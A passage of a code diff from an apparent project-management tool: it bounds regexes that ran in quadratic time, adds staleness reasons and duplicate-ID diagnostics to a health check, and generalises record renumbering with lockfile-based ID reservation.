| // with one of seven files" and knowing which value moved. | ||
| message: `Generated Claude Code file is ${file.status}: ${file.path}${file.reason ? ` (${file.reason})` : ""}` | ||
| })), | ||
| ...(reachable.ok | ||
| ? [] | ||
| : [ | ||
| { | ||
| severity: "warning", | ||
| code: "claude-hook-unreachable", | ||
| file: ".claude/settings.json", | ||
| message: `The Claude Code hooks name \`${plan.runtime}\`, which cannot be run: ${reachable.reason}` | ||
| } | ||
| ]) | ||
| ] | ||
| }; | ||
| } |
@@ -24,8 +24,2 @@ export declare const DOC_LIST_KEYS: Set<string>; | ||
| }>; | ||
| /** | ||
| * Normalize a managed-document folder to a path relative to `docs.managedPath`. | ||
| * The empty string (and ".") means the managed root. Absolute paths and `../` | ||
| * escapes are rejected with the same containment criterion the workspace | ||
| * configuration uses for its own paths. | ||
| */ | ||
| export declare function normalizeDocumentFolder(workspace: any, folder: any): string; | ||
@@ -32,0 +26,0 @@ export declare function nextDocumentSequence(workspace: any): Promise<number>; |
@@ -9,3 +9,3 @@ import { createHash } from "node:crypto"; | ||
| import { ConflictError, NotFoundError, ValidationError } from "../../core/errors.js"; | ||
| import { DEFAULT_LIST_KEYS, parseFrontmatter, patchFrontmatter, requireFrontmatter, serializeValue } from "../../core/frontmatter.js"; | ||
| import { DEFAULT_LIST_KEYS, parseFrontmatter, patchFrontmatter, renderFrontmatterEntry, requireFrontmatter } from "../../core/frontmatter.js"; | ||
| import { withFileLock } from "../../core/locks.js"; | ||
@@ -258,3 +258,3 @@ import { revisionForContent } from "../../core/revision.js"; | ||
| function renderManagedDocument(metadata, body = "") { | ||
| const lines = Object.entries(metadata).map(([key, value]) => `${key}: ${serializeValue(key, value, DOC_LIST_KEYS)}`); | ||
| const lines = Object.entries(metadata).flatMap(([key, value]) => renderFrontmatterEntry(key, value, { listKeys: DOC_LIST_KEYS })); | ||
| return `---\n${lines.join("\n")}\n---\n\n${String(body).trim()}\n`; | ||
@@ -277,4 +277,19 @@ } | ||
| */ | ||
| /** | ||
| * Trailing separators are stripped by slicing, not by `/\/+$/`. | ||
| * | ||
| * That pattern is unanchored at the start, so on a folder of nothing but | ||
| * separators the engine restarted the greedy run at every position and failed | ||
| * at `$` each time: 0.8ms at 1,000 characters and 189ms at 16,000, which is | ||
| * quadratic on a value that arrives from `doc create --folder` and from the | ||
| * HTTP body. The loop below is the same operation and reads as what it does. | ||
| */ | ||
| function withoutTrailingSlashes(value) { | ||
| let end = value.length; | ||
| while (end > 0 && value[end - 1] === "/") | ||
| end -= 1; | ||
| return value.slice(0, end); | ||
| } | ||
| export function normalizeDocumentFolder(workspace, folder) { | ||
| const raw = normalizeRepoPath(String(folder ?? "").trim()).replace(/\/+$/, ""); | ||
| const raw = withoutTrailingSlashes(normalizeRepoPath(String(folder ?? "").trim())); | ||
| if (!raw || raw === ".") | ||
@@ -281,0 +296,0 @@ return ""; |
@@ -19,6 +19,31 @@ import { stat } from "node:fs/promises"; | ||
| } | ||
| /** | ||
| * The link target is bounded, and that bound is the whole point. | ||
| * | ||
| * `([^)]+)` scanned to the end of the document on every `](` that had no | ||
| * closing paren after it, so a body made of `[](` repeated cost one full scan | ||
| * per repetition. Measured on this machine: 16.6ms at 2,000 repetitions, | ||
| * 3.3s at 32,000 and **43.6s at 128,000** — quadratic, on a document body, | ||
| * which the doctor reads for every document in the workspace. A record body is | ||
| * repository text an agent writes, so the input is not hostile in the usual | ||
| * sense; it is just text nobody thought to bound. | ||
| * | ||
| * Both halves are bounded, and the first attempt here bounded only the second | ||
| * — which the analyser then reported again, correctly, against a different | ||
| * input. `[` repeated is the label's version of the same shape: `[^\]]*` runs | ||
| * to the end of the body looking for a `]` that never comes, once per `[`. | ||
| * 837ms at 32,000 characters, where the whole scan is 59ms once the label is | ||
| * capped too. Fixing one half of a quadratic leaves a quadratic. | ||
| * | ||
| * Every bound is true of a Markdown link independently of the performance | ||
| * argument: neither half spans lines, a label is not a paragraph, and a target | ||
| * is not longer than any path a filesystem will hold. The cost is that a link | ||
| * past those sizes stops being checked. Nothing local can be that long — POSIX | ||
| * caps a path at 4096 and a component at 255 — and the only targets that reach | ||
| * it are `data:` URIs, which the scheme test below skips anyway. | ||
| */ | ||
| const LINK = /\[[^\]\n]{0,512}\]\(([^)\n]{1,1024})\)/g; | ||
| function localMarkdownPaths(document) { | ||
| const paths = []; | ||
| const pattern = /\[[^\]]*\]\(([^)]+)\)/g; | ||
| for (const match of String(document.body || "").matchAll(pattern)) { | ||
| for (const match of String(document.body || "").matchAll(LINK)) { | ||
| let target = match[1].trim().replace(/^<|>$/g, ""); | ||
@@ -25,0 +50,0 @@ if (!target || |
@@ -37,3 +37,19 @@ export declare function digestText(value: any): string; | ||
| }; | ||
| export declare function mergeManagedBlock(existing: any, block: any, options?: any): string; | ||
| export declare function mergeManagedBlock(existing: any, block: any, options?: any): any; | ||
| export type ManagedFileReport = { | ||
| path: string; | ||
| /** | ||
| * `unreachable` is not about a file's contents but about whether a command | ||
| * it names can be run. A generated file can say exactly what an install | ||
| * would write and still describe a hook that does not exist, and those are | ||
| * two different repairs. | ||
| */ | ||
| status: "missing" | "unmanaged" | "current" | "stale" | "unreachable"; | ||
| /** Which comparison failed, or what could not be resolved. */ | ||
| reason?: string | null; | ||
| current?: string | null; | ||
| declared?: string | null; | ||
| expected?: string | null; | ||
| version?: string | null; | ||
| }; | ||
| export declare function inspectManagedFile({ path, block, label }: { | ||
@@ -43,17 +59,3 @@ block: any; | ||
| path: any; | ||
| }): Promise<{ | ||
| path: any; | ||
| status: string; | ||
| current: any; | ||
| expected: any; | ||
| declared?: undefined; | ||
| version?: undefined; | ||
| } | { | ||
| path: any; | ||
| status: string; | ||
| current: string; | ||
| declared: any; | ||
| expected: any; | ||
| version: any; | ||
| }>; | ||
| }): Promise<ManagedFileReport>; | ||
| export declare function syncManagedFile({ path, block, label, preamble, requireMarker, force, dryRun }: { | ||
@@ -60,0 +62,0 @@ block: any; |
@@ -217,3 +217,22 @@ import { createHash } from "node:crypto"; | ||
| } | ||
| /** | ||
| * The final byte, which no digest here covers. | ||
| * | ||
| * `renderManagedBlock` digests `trimEnd()`-ed bytes deliberately: that is what | ||
| * keeps a file stable when an editor adds or drops a blank line at the end, | ||
| * which editors do. The cost is that the trailing newline sits outside the | ||
| * comparison entirely — a file that lost it merges back into itself, the write | ||
| * path sees `before === after` and reports `unchanged`, and every check calls | ||
| * it current forever. Five files in this repository were in that state. | ||
| * | ||
| * So the byte is settled beside the digest rather than inside it: normalised | ||
| * here on every write, and asserted separately on read. | ||
| */ | ||
| function endWithNewline(text) { | ||
| return text.endsWith("\n") ? text : `${text}\n`; | ||
| } | ||
| export function mergeManagedBlock(existing, block, options = {}) { | ||
| return endWithNewline(mergeManagedText(existing, block, options)); | ||
| } | ||
| function mergeManagedText(existing, block, options) { | ||
| const pair = isPairStyle(STYLES[block.style]); | ||
@@ -252,2 +271,3 @@ // A file installed before its kind moved to a line-style block still | ||
| status: "missing", | ||
| reason: null, | ||
| current: null, | ||
@@ -266,2 +286,3 @@ expected: block.digest | ||
| status: "unmanaged", | ||
| reason: null, | ||
| current: null, | ||
@@ -273,19 +294,7 @@ expected: block.digest | ||
| const metadataDigest = current.metadata.digest || null; | ||
| // The version stamp is information, not part of the decision. Comparing it | ||
| // marked every generated file stale on each package bump even when the | ||
| // content was byte-identical — and the fix is not cosmetic: the Claude Code | ||
| // surface generates roughly twenty of these, so a version bump would have | ||
| // produced twenty false warnings and taught everyone to skip the report. | ||
| // The style is compared because it is part of what is managed, and because | ||
| // an old pair-style file wraps exactly the same bytes: without this, a file | ||
| // whose frontmatter is inert — the marker still above the fence — reports | ||
| // current, since both the body and the digest match. | ||
| const status = current.style === block.style && | ||
| current.body === block.body && | ||
| metadataDigest === block.digest | ||
| ? "current" | ||
| : "stale"; | ||
| const reason = stalenessReason(current, block, content); | ||
| return { | ||
| path: label, | ||
| status, | ||
| status: reason ? "stale" : "current", | ||
| reason, | ||
| current: actualDigest, | ||
@@ -297,2 +306,32 @@ declared: metadataDigest, | ||
| } | ||
| /** | ||
| * What makes this file not current, or `null` if nothing does. | ||
| * | ||
| * Named rather than left as a bare boolean, because one of these reasons is | ||
| * invisible from the outside: a file whose block matches byte for byte and | ||
| * whose digest agrees is stale over a byte that no digest covers. A report | ||
| * that says `stale` with nothing further to say is what sent an external | ||
| * field report looking for the fault in the generator, where it was not. | ||
| * | ||
| * The version stamp is information, not part of the decision. Comparing it | ||
| * marked every generated file stale on each package bump even when the content | ||
| * was byte-identical — and the fix is not cosmetic: the Claude Code surface | ||
| * generates roughly twenty of these, so a version bump would have produced | ||
| * twenty false warnings and taught everyone to skip the report. The style is | ||
| * compared because it is part of what is managed, and because an old | ||
| * pair-style file wraps exactly the same bytes: without this, a file whose | ||
| * frontmatter is inert — the marker still above the fence — reports current, | ||
| * since both the body and the digest match. | ||
| */ | ||
| function stalenessReason(current, block, content) { | ||
| if (current.style !== block.style) | ||
| return "style"; | ||
| if (current.body !== block.body) | ||
| return "body"; | ||
| if ((current.metadata.digest || null) !== block.digest) | ||
| return "digest"; | ||
| if (!content.endsWith("\n")) | ||
| return "trailing-newline"; | ||
| return null; | ||
| } | ||
| export async function syncManagedFile({ path, block, label, preamble = "", requireMarker = false, force = false, dryRun = false }) { | ||
@@ -299,0 +338,0 @@ const fileExists = await exists(path); |
@@ -7,2 +7,3 @@ import { join } from "node:path"; | ||
| import { buildProjectIndex } from "../records/public.js"; | ||
| import { classifyDuplicates, duplicateIssueMessage } from "./duplicates.js"; | ||
| import { exists } from "../../core/fs-utils.js"; | ||
@@ -74,2 +75,7 @@ import { lockIsStale } from "../../core/locks.js"; | ||
| checkPaths: options.checkPaths !== false, | ||
| // Whether ancestry may be answered by spawning git. Nothing | ||
| // runs unless a live done card carries a commit, so the flag is | ||
| // for the caller who wants the guarantee rather than the | ||
| // saving — a sandbox with no process spawning, say. | ||
| checkGit: options.checkGit !== false, | ||
| // Built here because this is the only layer that holds every | ||
@@ -96,3 +102,14 @@ // kind at once: `origin` resolves against decisions and | ||
| reports.push(...(await integrationRegistry.healthReports(workspace, index))); | ||
| const issues = reports.flatMap((report) => report.issues); | ||
| // Every module holding records reports a duplicate ID of its own, and none | ||
| // of them can name a repair: a module sees one kind, and whether a | ||
| // collision can be healed depends on what the other kinds are carrying. | ||
| // This is the only layer that holds all of them, so it answers for | ||
| // duplicate identity — once, rather than leaving a second line standing | ||
| // beside it that names nothing to run. | ||
| const duplicates = classifyDuplicates(index); | ||
| const claimed = new Set(duplicates.map((duplicate) => duplicate.id)); | ||
| const issues = reports | ||
| .flatMap((report) => report.issues) | ||
| .filter((issue) => issue.code !== "duplicate-record-id" || | ||
| !claimed.has(String(issue.id || ""))); | ||
| if (workspace.config.search.provider && | ||
@@ -112,10 +129,39 @@ !integrationRegistry.semanticSearchProvider(workspace.config.search.provider)) { | ||
| } | ||
| for (const duplicate of index.duplicates) { | ||
| // A verification policy naming an area the project no longer declares. | ||
| // | ||
| // Here rather than in config validation, and that is the decision: a | ||
| // rejected config takes `doctor`, `card list` and the UI down with it, so | ||
| // making this an error would mean that deleting an area from `cards.areas` | ||
| // bricks the workspace until somebody finds the second place that named it. | ||
| // The finding is real either way — the policy silently applies to nothing — | ||
| // but it belongs on a list you work through, beside `search-provider- | ||
| // unresolved`, which answers the same shape of question about the same kind | ||
| // of dangling name. | ||
| const declaredAreas = new Set(workspace.config.cards.areas || []); | ||
| const orphanedPolicy = Object.keys(workspace.config.cards.verification?.methods || {}).filter((area) => area !== "*" && !declaredAreas.has(area)); | ||
| if (workspace.config.cards.enabled && orphanedPolicy.length) { | ||
| issues.push({ | ||
| severity: "warning", | ||
| code: "verification-policy-area-unknown", | ||
| message: `cards.verification.methods names ${orphanedPolicy.join(", ")}, ` + | ||
| `which cards.areas does not declare, so the policy applies to no ` + | ||
| `card. Declared areas: ${[...declaredAreas].join(", ")}.`, | ||
| details: { areas: orphanedPolicy, declared: [...declaredAreas] } | ||
| }); | ||
| } | ||
| for (const duplicate of duplicates) { | ||
| issues.push({ | ||
| severity: "error", | ||
| code: "duplicate-record-id", | ||
| id: duplicate.id, | ||
| // Code-unit smallest, so the issue keeps one identity across | ||
| // clones — `issueIdentity` hashes the file into the baseline key. | ||
| file: duplicate.paths[0], | ||
| message: `${duplicate.id} is used by multiple project records. Run \`workfile doctor --fix\` or \`workfile card renumber --duplicates\` to heal card collisions.`, | ||
| details: { paths: duplicate.paths } | ||
| message: duplicateIssueMessage(duplicate), | ||
| details: { | ||
| paths: duplicate.paths, | ||
| kind: duplicate.kind, | ||
| healable: duplicate.healable, | ||
| reason: duplicate.reason | ||
| } | ||
| }); | ||
@@ -122,0 +168,0 @@ } |
| /** | ||
| * Moves one card to a fresh ID. | ||
| * Moves one record to a fresh ID. | ||
| * | ||
@@ -7,32 +7,54 @@ * Sequential IDs are allocated by scanning the local maximum, so two clones | ||
| * slug, git merges both files without a conflict. Prevention would need | ||
| * coordination no repository-native tool can assume; this is the cure. | ||
| * coordination no repository-native tool can assume; this is the cure, and it | ||
| * is the same cure for every kind that allocates that way. The manual repair | ||
| * was to delete the file and add it again, which loses the two things that | ||
| * make this safe: nothing rewrites references, and nothing picks the loser the | ||
| * same way twice. | ||
| * | ||
| * References are rewritten only when the old ID identified exactly one card. | ||
| * References are rewritten only when the old ID identified exactly one record. | ||
| * After a collision the workspace holds references written on *both* branches, | ||
| * each meaning its own card, and no rewrite can tell them apart — so they are | ||
| * each meaning its own record, and no rewrite can tell them apart — so they are | ||
| * reported for review instead of silently repointed. Rewrites stay inside the | ||
| * protocol root: a mention in a README is prose, not an edge worth editing. | ||
| */ | ||
| export declare function renumberCard(workspace: any, target: any, { to, actor, now }?: any): Promise<{ | ||
| export declare function renumberRecord(workspace: any, target: any, { to, actor, now, kind }?: any): Promise<{ | ||
| id: any; | ||
| from: any; | ||
| kind: any; | ||
| file: string; | ||
| path: string; | ||
| repoPath: string; | ||
| rewritten: string[]; | ||
| review: string[]; | ||
| }>; | ||
| /** Moves one card to a fresh ID. Every error code it ever threw is unchanged. */ | ||
| export declare function renumberCard(workspace: any, target: any, options?: any): Promise<{ | ||
| id: any; | ||
| from: any; | ||
| kind: any; | ||
| file: string; | ||
| path: string; | ||
| repoPath: string; | ||
| rewritten: string[]; | ||
| review: string[]; | ||
| }>; | ||
| /** | ||
| * Heals every duplicate card ID in one pass. | ||
| * Heals every duplicate record ID in one pass. | ||
| * | ||
| * The card that keeps the ID is chosen deterministically — oldest `created`, | ||
| * then lexicographically smallest path — so both sides of a merge converge on | ||
| * the same repair without coordinating. Duplicates outside the cards tree are | ||
| * reported, not touched: docs derive IDs from paths and memory collections | ||
| * have their own conventions this routine has no business rewriting. | ||
| * The record that keeps the ID is chosen by `classifyDuplicates` — the same | ||
| * verdict `doctor` prints — so both sides of a merge converge on the same | ||
| * repair without coordinating. A collision nothing can repair is returned | ||
| * carrying the reason, because a sweep that drops what it did not fix reads as | ||
| * a clean run. | ||
| * | ||
| * `kinds` scopes the sweep. `card renumber --duplicates` passes `["card"]`, so | ||
| * a command under the `card` word never moves a changelog fragment. | ||
| */ | ||
| export declare function healDuplicateCardIds(workspace: any, { actor, now }?: any): Promise<{ | ||
| export declare function healDuplicateRecordIds(workspace: any, { actor, now, kinds }?: any): Promise<{ | ||
| moves: { | ||
| from: string; | ||
| to: string; | ||
| kind: string; | ||
| file: string; | ||
| path: string; | ||
| review: string[]; | ||
@@ -42,6 +64,26 @@ }[]; | ||
| id: string; | ||
| kind: string | null; | ||
| paths: string[]; | ||
| reason: string; | ||
| reasonText: string; | ||
| }[]; | ||
| }>; | ||
| /** Heals duplicate card IDs and reports every other collision under `skipped`. */ | ||
| export declare function healDuplicateCardIds(workspace: any, options?: any): Promise<{ | ||
| moves: { | ||
| from: string; | ||
| to: string; | ||
| kind: string; | ||
| file: string; | ||
| path: string; | ||
| review: string[]; | ||
| }[]; | ||
| skipped: { | ||
| id: string; | ||
| kind: string | null; | ||
| paths: string[]; | ||
| reason: string; | ||
| reasonText: string; | ||
| }[]; | ||
| }>; | ||
| /** | ||
@@ -48,0 +90,0 @@ * Renames cards whose filename no longer matches their title. |
| import { readFile, rm } from "node:fs/promises"; | ||
| import { basename, join } from "node:path"; | ||
| import { basename, dirname, join, relative } from "node:path"; | ||
| import { createFileExclusive, isCreateContention, writeFileAtomic } from "../../core/filesystem.js"; | ||
| import { ConflictError, NotFoundError, ValidationError } from "../../core/errors.js"; | ||
| import { parseFrontmatter, patchFrontmatter } from "../../core/frontmatter.js"; | ||
| import { patchFrontmatter } from "../../core/frontmatter.js"; | ||
| import { ensureWritable } from "../../core/guards.js"; | ||
| import { normalizeRepoPath } from "../../core/glob.js"; | ||
| import { CARD_LIST_KEYS, cardFileName, loadCards, nextCardSequence } from "../cards/index.js"; | ||
| import { acquireRecordId } from "../../core/record-ids.js"; | ||
| import { MEMORY_DEFINITIONS } from "../../config/defaults.js"; | ||
| import { CARD_LIST_KEYS, cardFileName, loadCards } from "../cards/index.js"; | ||
| import { activityEntry, appendActivityLine } from "../cards/mutations.js"; | ||
| import { CHANGE_LIST_KEYS } from "../changelog/index.js"; | ||
| import { DOC_LIST_KEYS } from "../docs/index.js"; | ||
| import { MEMORY_LIST_KEYS } from "../memory/index.js"; | ||
| import { buildProjectIndex } from "../records/public.js"; | ||
| import { classifyDuplicates } from "./duplicates.js"; | ||
| function escapeRegExp(value) { | ||
@@ -18,24 +24,165 @@ return String(value).replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); | ||
| /** | ||
| * Resolves the card to move. A filename settles the exact case renumbering | ||
| * exists for — two files carrying the same ID — where the ID alone cannot. | ||
| * One row per kind whose IDs are allocated by scanning a sequence. | ||
| * | ||
| * Only four facts differ between them — the prefix, the directories that | ||
| * define the sequence, the frontmatter keys that are lists, and whether the | ||
| * file carries an activity trail. Everything else about a renumber is the same | ||
| * operation, which is why healing used to exist for cards alone: the routine | ||
| * was written against a card rather than against a record. | ||
| */ | ||
| function resolveTarget(cards, target) { | ||
| const PLANS = { | ||
| card: { | ||
| noun: "Card", | ||
| listKeys: CARD_LIST_KEYS, | ||
| prefix: (workspace) => workspace.config.cards.idPrefix, | ||
| directories: (workspace) => [ | ||
| workspace.paths.cards, | ||
| workspace.paths.cardArchive | ||
| ], | ||
| activityTrail: (workspace) => workspace.config.cards.activityTrail !== false, | ||
| frozen: () => null, | ||
| codes: { | ||
| required: "CARD_TARGET_REQUIRED", | ||
| notFound: "CARD_NOT_FOUND", | ||
| ambiguous: "CARD_ID_AMBIGUOUS", | ||
| invalid: "CARD_ID_INVALID", | ||
| taken: "CARD_ID_TAKEN", | ||
| allocation: "CARD_ID_ALLOCATION_FAILED" | ||
| } | ||
| }, | ||
| change: { | ||
| noun: "Changelog fragment", | ||
| listKeys: CHANGE_LIST_KEYS, | ||
| prefix: (workspace) => workspace.config.changelog.idPrefix, | ||
| // Consuming a fragment moves it under its release, so an | ||
| // unreleased-only listing would mint an ID that is already spent. | ||
| directories: (workspace) => [ | ||
| workspace.paths.changelogFragments, | ||
| workspace.paths.changelogReleases | ||
| ], | ||
| activityTrail: () => false, | ||
| frozen: (record) => record.released | ||
| ? { | ||
| code: "CHANGE_FRAGMENT_RELEASED", | ||
| message: `${record.id} was released and is frozen. A release ` + | ||
| "record lists it by ID; describe the correction in a " + | ||
| "new fragment." | ||
| } | ||
| : null, | ||
| codes: { | ||
| required: "CHANGE_TARGET_REQUIRED", | ||
| notFound: "CHANGE_FRAGMENT_NOT_FOUND", | ||
| ambiguous: "CHANGE_ID_AMBIGUOUS", | ||
| invalid: "CHANGE_ID_INVALID", | ||
| taken: "CHANGE_ID_TAKEN", | ||
| allocation: "RECORD_ID_ALLOCATION_FAILED" | ||
| } | ||
| }, | ||
| doc: { | ||
| noun: "Document", | ||
| listKeys: DOC_LIST_KEYS, | ||
| prefix: (workspace) => workspace.config.docs.idPrefix, | ||
| directories: (workspace) => [workspace.paths.docs], | ||
| activityTrail: () => false, | ||
| frozen: (record) => record.managed | ||
| ? null | ||
| : { | ||
| code: "DOC_NOT_MANAGED", | ||
| message: `${record.path} is indexed, not managed. Workfile ` + | ||
| "does not rewrite files outside `docs.managedPath`." | ||
| }, | ||
| codes: { | ||
| required: "DOC_TARGET_REQUIRED", | ||
| notFound: "DOC_NOT_FOUND", | ||
| ambiguous: "DOC_ID_AMBIGUOUS", | ||
| invalid: "DOC_ID_INVALID", | ||
| taken: "DOC_ID_TAKEN", | ||
| allocation: "DOC_ID_ALLOCATION_FAILED" | ||
| } | ||
| }, | ||
| memory: { | ||
| noun: "Memory record", | ||
| listKeys: MEMORY_LIST_KEYS, | ||
| prefix: (workspace, record) => memoryDefinition(record).idPrefix, | ||
| // One collection owns one prefix, so its own directory is the whole | ||
| // domain for this ID. | ||
| directories: (workspace, record) => [ | ||
| join(workspace.paths.memory, String(record.collection)) | ||
| ], | ||
| activityTrail: () => false, | ||
| frozen: () => null, | ||
| codes: { | ||
| required: "MEMORY_TARGET_REQUIRED", | ||
| notFound: "MEMORY_NOT_FOUND", | ||
| ambiguous: "MEMORY_ID_AMBIGUOUS", | ||
| invalid: "MEMORY_ID_INVALID", | ||
| taken: "MEMORY_ID_TAKEN", | ||
| allocation: "MEMORY_ID_ALLOCATION_FAILED" | ||
| } | ||
| } | ||
| }; | ||
| const GENERIC_CODES = { | ||
| required: "RECORD_TARGET_REQUIRED", | ||
| notFound: "RECORD_NOT_FOUND", | ||
| ambiguous: "RECORD_ID_AMBIGUOUS", | ||
| invalid: "RECORD_ID_INVALID", | ||
| taken: "RECORD_ID_TAKEN", | ||
| allocation: "RECORD_ID_ALLOCATION_FAILED" | ||
| }; | ||
| /** The collection's definition, read defensively: `collection` comes off disk. */ | ||
| function memoryDefinition(record) { | ||
| const definition = MEMORY_DEFINITIONS[record.collection]; | ||
| if (!definition) { | ||
| throw new ValidationError("MEMORY_COLLECTION_INVALID", `Unknown memory collection: ${record.collection}`); | ||
| } | ||
| return definition; | ||
| } | ||
| function planFor(kind) { | ||
| const plan = PLANS[kind]; | ||
| if (!plan) { | ||
| throw new ValidationError("RECORD_KIND_NOT_RENUMBERABLE", kind === "release" | ||
| ? "A release record is written once, when the version is cut, and is never renumbered." | ||
| : `Workfile does not allocate IDs for ${kind} records, so it cannot renumber one.`); | ||
| } | ||
| return plan; | ||
| } | ||
| /** | ||
| * Resolves the record to move. | ||
| * | ||
| * Three spellings, narrowest first. A repository path settles the case | ||
| * renumbering exists for — two files carrying one ID — which is why the healer | ||
| * passes one: a filename cannot, because two managed documents can share an ID | ||
| * *and* a slug in different folders. | ||
| */ | ||
| function resolveRecord(records, target, kind) { | ||
| const codes = (kind && PLANS[kind]?.codes) || GENERIC_CODES; | ||
| const noun = (kind && PLANS[kind]?.noun) || "Record"; | ||
| const raw = String(target || "").trim(); | ||
| if (!raw) { | ||
| throw new ValidationError("CARD_TARGET_REQUIRED", "Pass a card ID or a card filename to renumber."); | ||
| throw new ValidationError(codes.required, "Pass an ID, a filename or a repository path to renumber."); | ||
| } | ||
| const pool = kind | ||
| ? records.filter((record) => record.kind === kind) | ||
| : records; | ||
| const wanted = normalizeRepoPath(raw); | ||
| const byPath = pool.filter((record) => normalizeRepoPath(record.path) === wanted); | ||
| if (byPath.length === 1) | ||
| return byPath[0]; | ||
| if (raw.endsWith(".md")) { | ||
| const file = basename(raw); | ||
| const match = cards.find((card) => card.file === file); | ||
| if (!match) { | ||
| throw new NotFoundError("CARD_NOT_FOUND", `Card file not found: ${file}`); | ||
| const matches = pool.filter((record) => basename(String(record.path)) === file); | ||
| if (!matches.length) { | ||
| throw new NotFoundError(codes.notFound, `${noun} file not found: ${file}`); | ||
| } | ||
| return match; | ||
| if (matches.length > 1) { | ||
| throw new ConflictError(codes.ambiguous, `${file} exists in more than one folder; pass its repository path.`, { files: matches.map((record) => record.path) }); | ||
| } | ||
| return matches[0]; | ||
| } | ||
| const matches = cards.filter((card) => card.id === raw); | ||
| const matches = pool.filter((record) => record.id === raw); | ||
| if (!matches.length) { | ||
| throw new NotFoundError("CARD_NOT_FOUND", `Card not found: ${raw}`); | ||
| throw new NotFoundError(codes.notFound, `${noun} not found: ${raw}`); | ||
| } | ||
| if (matches.length > 1) { | ||
| throw new ConflictError("CARD_ID_AMBIGUOUS", `Card ID ${raw} appears in multiple files; pass the filename of the one to move.`, { files: matches.map((card) => card.file) }); | ||
| throw new ConflictError(codes.ambiguous, `${raw} appears in multiple files; pass the path of the one to move.`, { files: matches.map((record) => record.path) }); | ||
| } | ||
@@ -45,71 +192,100 @@ return matches[0]; | ||
| /** | ||
| * Moves one card to a fresh ID. | ||
| * The reservation for a caller-supplied ID. | ||
| * | ||
| * `acquireRecordId` mints its own, so it cannot serve `--to` — the one case | ||
| * where the caller has already decided which ID it wants. Same lockfile and the | ||
| * same contention mapping, so a concurrent create steps past this ID either | ||
| * way. | ||
| */ | ||
| async function reserveExplicitId(workspace, to, plan, record, records) { | ||
| const prefix = plan.prefix(workspace, record); | ||
| if (!new RegExp(`^${escapeRegExp(prefix)}-\\d{4,}$`).test(to)) { | ||
| throw new ValidationError(plan.codes.invalid, `--to must look like ${prefix}-0123; got: ${to}`); | ||
| } | ||
| if (records.some((candidate) => candidate.id === to)) { | ||
| throw new ConflictError(plan.codes.taken, `${to} is already in use.`); | ||
| } | ||
| const reservation = join(workspace.paths.cache, "locks", "ids", `${to}.lock`); | ||
| await createFileExclusive(reservation, `${JSON.stringify({ id: to, pid: process.pid, createdAt: new Date().toISOString() })}\n`).catch((error) => { | ||
| if (!isCreateContention(error)) | ||
| throw error; | ||
| throw new ConflictError(plan.codes.taken, `${to} was allocated by another process while renumbering.`, { contention: error.code }); | ||
| }); | ||
| return { | ||
| id: to, | ||
| reservation, | ||
| release: () => rm(reservation, { force: true }).catch(() => undefined) | ||
| }; | ||
| } | ||
| /** | ||
| * Moves one record to a fresh ID. | ||
| * | ||
| * Sequential IDs are allocated by scanning the local maximum, so two clones | ||
| * create the same ID independently — and because filenames carry the title | ||
| * slug, git merges both files without a conflict. Prevention would need | ||
| * coordination no repository-native tool can assume; this is the cure. | ||
| * coordination no repository-native tool can assume; this is the cure, and it | ||
| * is the same cure for every kind that allocates that way. The manual repair | ||
| * was to delete the file and add it again, which loses the two things that | ||
| * make this safe: nothing rewrites references, and nothing picks the loser the | ||
| * same way twice. | ||
| * | ||
| * References are rewritten only when the old ID identified exactly one card. | ||
| * References are rewritten only when the old ID identified exactly one record. | ||
| * After a collision the workspace holds references written on *both* branches, | ||
| * each meaning its own card, and no rewrite can tell them apart — so they are | ||
| * each meaning its own record, and no rewrite can tell them apart — so they are | ||
| * reported for review instead of silently repointed. Rewrites stay inside the | ||
| * protocol root: a mention in a README is prose, not an edge worth editing. | ||
| */ | ||
| export async function renumberCard(workspace, target, { to = null, actor = null, now } = {}) { | ||
| export async function renumberRecord(workspace, target, { to = null, actor = null, now, kind = null } = {}) { | ||
| ensureWritable(workspace); | ||
| const loaded = await loadCards(workspace); | ||
| const card = resolveTarget(loaded.cards, target); | ||
| const oldId = card.id; | ||
| const duplicated = loaded.cards.filter((candidate) => candidate.id === oldId).length > 1; | ||
| // Graph and candidate list from before the move: outgoing edges already | ||
| // classify every reference kind (frontmatter lists, wiki links, prose). | ||
| const index = await buildProjectIndex(workspace); | ||
| const prefix = workspace.config.cards.idPrefix; | ||
| let newId; | ||
| if (to) { | ||
| if (!new RegExp(`^${escapeRegExp(prefix)}-\\d{4,}$`).test(to)) { | ||
| throw new ValidationError("CARD_ID_INVALID", `--to must look like ${prefix}-0123; got: ${to}`); | ||
| } | ||
| if (index.records.some((record) => record.id === to)) { | ||
| throw new ConflictError("CARD_ID_TAKEN", `${to} is already in use.`); | ||
| } | ||
| newId = to; | ||
| } | ||
| else { | ||
| const sequence = await nextCardSequence(workspace); | ||
| newId = `${prefix}-${String(sequence).padStart(4, "0")}`; | ||
| } | ||
| const directory = card.archived | ||
| ? workspace.paths.cardArchive | ||
| : workspace.paths.cards; | ||
| const oldPath = join(directory, card.file); | ||
| const suffix = card.file.startsWith(`${oldId}-`) | ||
| ? card.file.slice(oldId.length + 1) | ||
| : card.file; | ||
| const record = resolveRecord(index.records, target, kind); | ||
| const plan = planFor(record.kind); | ||
| // Before anything is written, so the library API is safe on its own rather | ||
| // than only through a sweep that already knows better. | ||
| const frozen = plan.frozen(record); | ||
| if (frozen) | ||
| throw new ValidationError(frozen.code, frozen.message); | ||
| const oldId = record.id; | ||
| const duplicated = index.records.filter((candidate) => candidate.id === oldId).length > 1; | ||
| const held = to | ||
| ? await reserveExplicitId(workspace, to, plan, record, index.records) | ||
| : await acquireRecordId({ | ||
| prefix: plan.prefix(workspace, record), | ||
| directories: plan.directories(workspace, record), | ||
| lockDirectory: join(workspace.paths.cache, "locks", "ids"), | ||
| code: plan.codes.allocation | ||
| }); | ||
| const newId = held.id; | ||
| // Derived from the record's own path, so an archived card, a managed | ||
| // document nested in a folder and a memory record inside its collection all | ||
| // land back where they were. A managed document's `file` carries that | ||
| // folder, which is why the filename comes from the path instead. | ||
| const oldPath = join(workspace.root, record.path); | ||
| const oldFile = basename(String(record.path)); | ||
| const suffix = oldFile.startsWith(`${oldId}-`) | ||
| ? oldFile.slice(String(oldId).length + 1) | ||
| : oldFile; | ||
| const newFile = `${newId}-${suffix}`; | ||
| const newPath = join(directory, newFile); | ||
| const newPath = join(dirname(oldPath), newFile); | ||
| const stamp = (now ? new Date(now) : new Date()).toISOString(); | ||
| const content = await readFile(oldPath, "utf8"); | ||
| let next = patchFrontmatter(content, { id: newId, updated: stamp.slice(0, 10) }, { listKeys: CARD_LIST_KEYS }); | ||
